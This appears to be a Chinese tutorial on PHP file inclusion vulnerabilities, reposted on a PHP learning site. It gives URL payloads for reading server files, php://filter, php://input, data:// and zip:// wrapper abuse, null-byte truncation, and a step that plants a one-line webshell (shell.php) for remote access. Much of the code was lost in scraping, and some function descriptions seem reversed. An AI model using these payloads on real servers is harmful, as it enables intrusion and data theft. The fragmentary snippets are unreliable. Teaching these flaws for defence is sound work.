A brief exploration into the principle of PHP file containing vulnerabilities

angryTom
Release: 2023-04-07 21:08:02
forward
2746 people have browsed it

A brief exploration into the principle of PHP file containing vulnerabilities

文件包含漏洞原理浅探

文件包含

文件包含是指一个文件里面包含另外一个文件;开发过程中,重复使用的函数会写入单独的文件中,需要使用该函数的时候直接从程序中调用该文件即可,这一个过程就是“文件包含”

由于文件包含的功能特性,导致客户端可以调用一个恶意文件,进行动态调用

PHP文件包含

PHP提供了四个文件包含函数提供的功能强大且灵活多变,经常存在文件包含函数

(推荐学习:PHP视频教程

include()
Copy after login

无法查到被包含的文件时产生错误"E_COMPLE_ERROR"停止运行

include_once()
Copy after login

和前者一样,如果文件中的代码已经包含了,则不再会包含

require()
Copy after login

无法查到被包含的文件是产生警告"E_WARNING"继续运行

require_once()
Copy after login

和前者一样,无法查到被包含的文件是产生警告"E_WARNING"继续运行

开发演示

Copy after login
 ',$lin="
"){ foreach ($arr as $key => $value) { echo "$key $sp $value $lin"; } } ?>
Copy after login

在index.php文件中使用include函数文件包含ArrayUtil.php文件,在index.php中可以使用ArrayUtil.php文件中的PrintArr()函数;在index.php第4行我们调用了PrintArr()函数。

使用浏览器访问index.php

A brief exploration into the principle of PHP file containing vulnerabilities

漏洞演示(本地执行)

Copy after login
Copy after login
Copy after login

A brief exploration into the principle of PHP file containing vulnerabilities

喏!一个txt文件被成功包含了;笔者测试了其它各种服务器可接受的文件格式,均实验成功!由此笔者得到的论证是:include()函数包含的任何文件都会以PHP文件解析,但前提是文件的内容符合PHP代码规范;若内容不符合PHP代码规范则会在页面暴露文件内容(这是重点)

漏洞演示(远程执行)

PHP不单单可以在服务端(本地)执行文件包含,也可以远程执行文件包含;

远程的文件包含执行需要修改PHP.ini配置文件(php默认关闭远程包含文件)

allow_url_include = on
Copy after login

由于我们不具备远程条件,只好本地搭建环境将就一下哈!!!

D:\phpStudy\phpinfo.txt

Copy after login
Copy after login

127.0.0.1/index.php

Copy after login

换一个方法

// 记住这个代码后面会一直使用
Copy after login

A brief exploration into the principle of PHP file containing vulnerabilities

这里的URL参数值提交的只是一个远程包含文件的URL地址;远程文件包含和本地文件包含的解析方法一样,只要符合PHP代码规范就可以按照PHP代码解析执行。

A brief exploration into the principle of PHP file containing vulnerabilities

如果我们包含的文件不存在,则会发生Error,网站的路径就会暴露!

读取敏感文件

构造类似http://127.0.0.1/?url=.\phpinfo.txt

A brief exploration into the principle of PHP file containing vulnerabilities

喏!我们看见了文本内容,为什么呢?

因为include()函数会执行文件包含,不管是什么格式的文件只要符合PHP代码规范的内容就会按照PHP解析;而不符合PHP代码规范的则会直接输出文件内容。

综合特性:利用该特性包含文件的方法,访问本地的其它文件均会执行php解析或者回显文本的内容;尤其是系统敏感文件,例如php.ini配置文件、my.ini配置文件等敏感信息,而文件的路径则需要结合其它姿势来获得(例如上面利用error回显的方式)

重要的一点:得具有文件的操作权限哦

远程包含Shell

远程包含文本的条件是 allow_url_fopen= on

创建shell.txt(功能:在服务端本地创建一句话木马脚本)

");//$符号需要转义要按字符存
    $file = fopen("shell.php","w");
    fwrite($file, $key);
    fclose($file);
?>
Copy after login

构造:http://127.0.0.1/?url=..\xx\shell.txt

远程包含文本执行成功后,服务端本地会创建一个"shell.php"一句话木马执行文件

shell.php创建后,使用“菜刀”连接一句话:

A brief exploration into the principle of PHP file containing vulnerabilities

A brief exploration into the principle of PHP file containing vulnerabilities

喏!包含执行文件创建本地一个shell.php一句话木马,然后菜刀连木马!一梭子搞定!

文件包含配合上传

利用web应用的上传功能,上传一张伪木马图片,然后利用文件包含执行已上传的图片,然后伪木马图片的功能就是被包含执行后在服务端本地创建一个木马执行php文件

PHP封装协议利用

PHP内置很多的PHP封装协议(详细见官方文档),封装协议的功能和文件函数(fopen(),copy(),file_exists(),filesize())提供的功能相似

allow_url_fopen:on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。

allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等

考虑安全都是全部关闭

内置封装协议

【引用官方文档】

  • file:// — 访问本地文件系统
  • http:// — 访问 HTTP(s) 网址
  • ftp:// — 访问 FTP(s) URLs
  • data:// — 数据(RFC 2397)
  • glob:// — 查找匹配的文件路径模式
  • phar:// — PHP 归档
  • ssh2:// — Secure Shell 2
  • rar:// — RAR
  • ogg:// — 音频流
  • expect:// — 处理交互式的流

file://协议:

访问本地文件系统

file://[本地文件的绝对路径和文件名]
Copy after login
Copy after login

php://协议:

访问各个IO流

需要开启 allow_url_include: on

  • php://stdin:直接访问PHP进程相应的输入或输出流(只读)

  • php://stdout:直接访问PHP进程相应的输入或输出流(只写)

  • php://stderr:直接访问PHP进程相应的输入或输出流(只写)

  • php://filter:进行任意文件读取的利用

  • php://input:访问请求的原始数据的只读流,将post请求中的数据作为php解析

  • php://output:只写的数据流,允许print和echo方式写入到输出缓存中

  • php://fd: 允许直接访问指定的文件描述符

    更多详细可以参考官方php://协议文档

zip://协议:

(zip:// , bzip2:// , zlib:// )属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
Copy after login

注意 井字符号 ’ # ‘ 在url中需要转为 %23

data://协议:

data://text/plain;base64,[string_base64加密后]
Copy after login

glob://协议:

查询匹配的文件路径模式

glob://[url]
Copy after login
getFilename(), $f->getSize()/1024);
}
?>
Copy after login

expect://协议:

处理交互式数据流(默认未开启,需要安装PECL—Expect扩展)

expect://command
Copy after login

参见文章:php伪协议实现命令执行的七种姿势

读取PHP文件

利用file://读取文件内容

file://[本地文件的绝对路径和文件名]
Copy after login
Copy after login

利用php://filter读取php文件内容

http://127.0.0.1/?url=php://filter/read=convert.base64-encode/resource=shelll.php
Copy after login

A brief exploration into the principle of PHP file containing vulnerabilities

这里的结果是经过Base64加密的

A brief exploration into the principle of PHP file containing vulnerabilities

利用php://input:

使用php://input可以执行PHP语句,但是受限于allow_utl_include= On

url text:

http://127.0.0.1/index.php/?url=php://input
Copy after login

Post data:

Copy after login

A brief exploration into the principle of PHP file containing vulnerabilities

喏!利用“php://input"执行php代码”post data数据内容“,这里只是回显phpinfo(),如果我们利用php://input执行服务端本地创建php一句话木马文件,后果可想而知

利用data://:

受限于allow_utl_include= Onphp.ini配置

?file=[data://text/plain;base64,[base64编码加密的payload)]
Copy after login

A brief exploration into the principle of PHP file containing vulnerabilities

注意没有php闭合标签

利用zip://:

?url=zip://C:\Users\Mirror\Desktop/zip.zip%23shell.php
Copy after login

A brief exploration into the principle of PHP file containing vulnerabilities

总结

A brief exploration into the principle of PHP file containing vulnerabilities

上面这张图是笔者从FREEBUF漏斗社区的文章中copy来的,算是一个不错的总结^_^

截断包含

magic_quotes_gpc = off函数为Off状态才可以使用,因为在On状态下%00会被转义导致无法截断;https://www.cnblogs.com/timelesszhuang/p/3726736.html

PHP6/7关闭了magic_quotes_gpc函数: PHP6\7关闭magic_quotes_gpc对程序的影响

文件包含的漏洞修复,尤其是include()相关文件包含函数,只要限制后缀名就好了?

Copy after login

上述程序就是固定限制后缀名,用户只需要指明文件名就可以,不需要用户提交后缀名

现在我们利用之前的包含手段,包含"shell.php"文件

http://127.0.0.1/index.php/?url=shell.php
Copy after login

由于程序固定了文件后缀格式,于是在后台会构成

shell.php.php
Copy after login

而include()无法查找到“shell.php.php”,故此导致报错

采用字节截断

http://127.0.0.1/index.php/?url=shell.php%00
Copy after login

PHP5.2+的版本渐渐的都修复了字节截断,所以很少有利用了

笔者不做过多的细节说明^_^

本文来自php中文网,php教程栏目,欢迎学习!  

The above is the detailed content of A brief exploration into the principle of PHP file containing vulnerabilities. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:cnblogs.com
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact [email protected]
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
About us Disclaimer Sitemap
php.cn:Public welfare online PHP training,Help PHP learners grow quickly!